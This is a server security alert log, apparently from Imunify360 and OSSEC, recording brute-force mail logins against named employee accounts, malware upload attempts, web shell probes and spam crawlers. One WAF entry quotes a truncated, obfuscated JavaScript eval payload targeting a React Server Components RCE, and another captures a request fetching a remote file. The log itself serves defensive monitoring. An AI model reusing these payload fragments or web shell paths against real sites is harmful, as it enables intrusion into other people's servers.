IM360 WAF: XML-RPC Suspicious blog attempt||Username:98119.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fcd0c0a2868d9d8c81b0c5b139b56c9192c3c118||Title:0xc4b2c23a||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-12 16:39:47 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [197.219.210.86]:57974: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-12 16:40:19 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [122.187.234.73]:33589: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.189.17.35
country_id: 298795
description:
2026-07-12 16:43:04 dovecot_login authenticator failed for H=([103.121.27.218]) [78.189.17.35]:33108: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-12 16:49:12 dovecot_login authenticator failed for H=([66.54.169.3]) [41.219.149.74]:56924: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.83
country_id: 1733045
description:
2026-07-12 16:50:10 dovecot_login authenticator failed for H=([222.109.73.135]) [49.124.151.83]:33808: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-12 16:49:27 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([182.95.150.106]) [82.209.191.11]:33694: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 35.187.245.144
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:143731||Sizes:25||Combined size:25||User:metrodigitals||WPU:||Filename:1992.txt||Scanned:/tmp//20260712-165114-alN4qq4eqFtgINnZhMOvwgAAAFE-file-EHhamm||SC:/home/metrodigitals/public_html/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-12 16:50:32 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [94.16.17.141]:57714: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-12 16:52:14 dovecot_login authenticator failed for H=([192.252.220.90]) [110.227.211.82]:45608: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 35.187.245.144
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:132111||Sizes:25||Combined size:25||User:metrodigitals||WPU:||Filename:1992.txt||Scanned:/tmp//20260712-165119-alN4r64eqFtgINnZhMOv0QAAAFE-file-VZZeCv||SC:/home/metrodigitals/public_html/fr||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.179
country_id: 1668284
description:
2026-07-12 16:52:17 dovecot_login authenticator failed for H=111-70-32-179.emome-ip.hinet.net ([68.71.243.10]) [111.70.32.179]:58925: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.55
country_id: 1733045
description:
2026-07-12 16:52:27 dovecot_login authenticator failed for H=([142.54.239.4]) [49.124.151.55]:51206: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-12 16:52:31 dovecot_login authenticator failed for H=([186.97.203.163]) [182.95.228.194]:37018: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-12 16:54:57 dovecot_login authenticator failed for H=([14.39.110.172]) [51.162.194.94]:47711: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-07-12 16:54:35 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com ([49.124.152.220]) [24.105.160.100]:53693: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-12 16:58:13 dovecot_login authenticator failed for H=([218.17.113.148]) [71.12.241.225]:55242: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-07-12 16:59:21 dovecot_login authenticator failed for H=([49.124.155.174]) [182.95.122.110]:43510: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-12 16:59:45 dovecot_login authenticator failed for H=(pool.luganet.ru) [197.219.208.58]:51266: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-12 17:00:03 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([111.26.69.160]) [82.209.191.11]:54388: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-12 17:04:05 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th [171.100.121.127]:45056: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-07-12 17:04:15 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:54342: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 165.231.227.203
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://electorg.ru/bitrix/redirect.php?goto=https://www.russianrealty.ru/bitrix/redirect.php?goto=https://usaxii.com/thread-303506-1-1.html\">free spins</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77576816
name: IM360 WAF: Non-image access to Magento customer_address media (CVE-2025-54236)
abuser: 85.239.144.40
country_id: 2921044
domain: www.ogocindia.com
description:
IM360 WAF: Non-image access to Magento customer_address media (CVE-2025-54236)||MV:/pub/media/customer_address/||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 103.253.27.240
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/contact/alfacgiapi/bash.alfa||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-12 17:21:21 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([113.140.95.250]) [110.25.105.240]:41026: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-12 17:21:52 dovecot_login authenticator failed for H=(vps-b674cd8d.vps.ovh.net) [120.29.140.188]:33935: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-12 17:22:04 dovecot_login authenticator failed for H=([72.206.74.97]) [101.13.1.58]:36172: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-12 17:23:49 dovecot_login authenticator failed for H=(starik.Obninsk.ru) [49.158.208.139]:44468: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.107.179
country_id: 1835841
description:
2026-07-12 17:26:09 dovecot_login authenticator failed for H=([74.119.144.57]) [211.43.107.179]:47219: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.110.42
country_id: 1269750
description:
2026-07-12 17:25:30 dovecot_login authenticator failed for H=([207.188.158.216]) [182.95.110.42]:52436: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.189
country_id: 1733045
description:
2026-07-12 17:25:19 dovecot_login authenticator failed for H=([59.110.5.198]) [49.124.155.189]:51916: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-12 17:26:28 dovecot_login authenticator failed for H=(broadband-77-37-162-117.ip.moscow.rt.ru) [122.185.44.206]:34362: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: ahsmarine.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-12 17:28:50 dovecot_login authenticator failed for H=(82-209-191-11.cust.bredband2.com) [182.78.87.2]:42364: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-12 17:28:53 dovecot_login authenticator failed for H=([107.181.168.150]) [147.148.205.252]:45034: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-12 17:28:24 dovecot_login authenticator failed for H=([222.173.138.250]) [128.134.83.141]:41784: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var bjnu=arguments[0x1];var ide=bjnu;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"f\\\",\\\"f\\\",\\\"er\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.40
country_id: 1733045
description:
2026-07-12 17:30:18 dovecot_login authenticator failed for H=([83.255.209.245]) [49.124.151.40]:32906: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 103.253.27.240
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/user/contactcreator/alfacgiapi/bash.alfa||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-12 17:31:01 dovecot_plain authenticator failed for H=89-253-90-113.customers.ownit.se (niont) [89.253.90.113]:44794: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-12 17:30:30 dovecot_login authenticator failed for H=([183.171.15.68]) [182.95.119.30]:42510: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.255.126.77
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:17-34.185.255.126.77||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-12 17:37:16 dovecot_login authenticator failed for H=([196.189.124.218]) [163.61.33.117]:53086: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-12 17:37:48 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu (pool.luganet.ru) [188.36.7.196]:55382: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-12 17:51:02 dovecot_login authenticator failed for H=([175.203.199.118]) [218.248.19.102]:34556: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-12 17:51:52 dovecot_login authenticator failed for H=([196.189.51.64]) [36.39.140.2]:59410: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-12 17:51:59 dovecot_login authenticator failed for H=([117.40.175.86]) [207.254.71.129]:56981: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 199.96.167.121
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://meneercasino.com/slot-reviews/amsterdam-red-light-district\">viagra empanada mama</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-12 17:56:57 dovecot_login authenticator failed for H=([174.64.199.71]) [41.128.181.196]:54670: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.12.178
country_id: 1269750
description:
2026-07-12 17:56:24 dovecot_login authenticator failed for H=([112.31.93.229]) [182.95.12.178]:40988: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-12 17:59:04 dovecot_login authenticator failed for H=([196.190.180.18]) [165.101.222.22]:41957: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-12 17:58:53 dovecot_login authenticator failed for H=([68.71.243.10]) [212.132.64.89]:44344: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 35.187.245.144
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:173645||Sizes:25||Combined size:25||User:ogocindia||WPU:||Filename:1992.txt||Scanned:/tmp//20260712-180359-alOJt4zu_jCfwxXP3Ss0ogAAAEw-file-Xo48cm||SC:/home/ogocindia/public_html/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-12 18:06:04 dovecot_login authenticator failed for H=([49.124.154.171]) [182.95.106.102]:47472: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-12 18:08:09 dovecot_login authenticator failed for H=(187-50-27-129.customer.tdatabrasil.net.br) [190.67.106.221]:32796: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-12 18:08:38 dovecot_login authenticator failed for H=([98.181.137.75]) [116.98.104.138]:41898: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-12 18:14:28 dovecot_login authenticator failed for H=(abts-north-static-109.51.160.122.airtelbroadband.in) [128.185.33.241]:57716: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-12 18:15:09 dovecot_login authenticator failed for H=(spb-195-239-224-194.sovintel.ru) [202.62.88.25]:38510: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-12 18:15:53 dovecot_login authenticator failed for H=([42.200.60.186]) [205.209.67.3]:34502: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-12 18:16:38 dovecot_plain authenticator failed for H=(novergosed) [65.20.153.146]:55178: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 37.27.136.34
country_id: 660013
domain: www.ibmcglobal.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.7827.55 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-12 18:18:45 dovecot_login authenticator failed for H=([220.87.56.84]) [117.211.15.93]:44758: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-12 18:22:16 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([67.201.33.12]) [155.4.31.215]:51030: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-12 18:22:33 dovecot_login authenticator failed for H=([1.241.64.237]) [182.95.101.182]:47616: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-12 18:22:44 dovecot_login authenticator failed for H=([49.124.152.208]) [5.48.46.95]:44214: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-12 18:22:35 dovecot_login authenticator failed for H=([211.49.80.72]) [182.95.109.138]:46128: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.25
country_id: 1668284
description:
2026-07-12 18:27:10 dovecot_login authenticator failed for H=221-120-73-25.emome-ip.hinet.net ([182.252.140.114]) [221.120.73.25]:45314: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.156
country_id: 6251999
description:
2026-07-12 18:27:25 dovecot_login authenticator failed for H=host-96-30-129-156.public.eastlink.ca ([68.71.243.10]) [96.30.129.156]:55307: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 194.187.252.231
country_id: 2635167
domain: vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icospbvwh/fonts/nayvpvzw.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 51.79.180.235
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:travelinbh||SC:/home/travelinbh/public_html/index.php||WPU:||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.210
country_id: 294640
description:
2026-07-12 18:39:58 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [84.111.136.210]:40607: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-12 18:39:31 dovecot_login authenticator failed for H=([106.245.246.26]) [1.250.67.190]:55694: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.5.129.68
country_id: 3017382
description:
2026-07-12 18:48:35 dovecot_login authenticator failed for H=68.129.5.84.rev.sfr.net (mail.prdnorth.in.th) [84.5.129.68]:9679: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.214
country_id: 1733045
description:
2026-07-12 18:49:07 dovecot_login authenticator failed for H=([142.54.236.102]) [49.124.149.214]:51828: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-12 18:49:44 dovecot_login authenticator failed for H=([182.95.101.182]) [182.72.102.106]:42992: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-12 18:50:12 dovecot_login authenticator failed for H=([49.124.151.28]) [41.224.62.206]:50049: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-12 18:56:10 dovecot_login authenticator failed for H=([111.26.63.85]) [106.245.246.26]:49421: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-12 18:59:10 dovecot_login authenticator failed for H=(grupokrause.static.gvt.net.br) [49.206.201.253]:40310: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-12 18:59:01 dovecot_login authenticator failed for H=([111.26.69.159]) [14.38.177.105]:52677: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.212.67.79
country_id: 6252001
description:
2026-07-12 19:00:03 dovecot_login authenticator failed for H=([49.124.153.17]) [38.212.67.79]:49597: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 182.9.34.198
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:19-03.182.9.34.198||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-12 19:02:26 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-12 19:07:25 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([112.31.167.120]) [176.10.203.54]:59742: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-12 19:09:10 dovecot_login authenticator failed for H=([85.12.248.68]) [128.185.33.227]:36468: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-12 19:09:59 dovecot_login authenticator failed for H=([49.124.149.47]) [197.219.228.242]:49586: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-12 19:11:13 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu ([67.201.57.102]) [188.36.7.196]:34600: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-12 19:10:48 dovecot_login authenticator failed for H=([112.25.140.211]) [128.185.208.42]:40526: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-12 19:16:58 dovecot_login authenticator failed for H=([220.235.225.112]) [219.248.4.146]:59762: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-12 19:16:43 dovecot_login authenticator failed for H=([200.106.49.149]) [121.171.95.112]:33726: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-12 19:19:49 dovecot_login authenticator failed for H=([222.120.176.6]) [128.185.253.122]:48886: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-12 19:20:00 dovecot_login authenticator failed for H=(185.255.212.178.ip.karnobat.net) [210.5.117.238]:49971: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-12 19:20:13 dovecot_login authenticator failed for H=(157.ip-51-75-142.eu) [51.116.117.203]:21980: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-12 19:20:41 dovecot_login authenticator failed for H=([180.76.52.146]) [218.156.8.97]:54914: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-12 19:21:01 dovecot_login authenticator failed for H=([111.26.101.76]) [112.160.57.196]:57600: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.107.242.114
country_id: 248816
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2025/08/22/denon-580bt.webp HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-12 19:23:19 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([142.54.228.195]) [79.136.8.69]:40020: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-12 19:23:05 dovecot_login authenticator failed for H=([192.252.214.22]) [94.16.17.140]:44190: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.233.203.159
country_id: 2661886
description:
2026-07-12 19:24:12 dovecot_login authenticator failed for H=89-233-203-159.cust.bredband2.com ([111.26.63.89]) [89.233.203.159]:43700: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.223.152.69
country_id: 1269750
description:
2026-07-12 19:23:56 dovecot_login authenticator failed for H=([183.171.15.95]) [117.223.152.69]:45735: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.104.107
country_id: 1269750
description:
2026-07-12 19:29:10 dovecot_login authenticator failed for H=([65.20.237.191]) [117.254.104.107]:48532: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/cache.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: elegantautomotives.com
description:
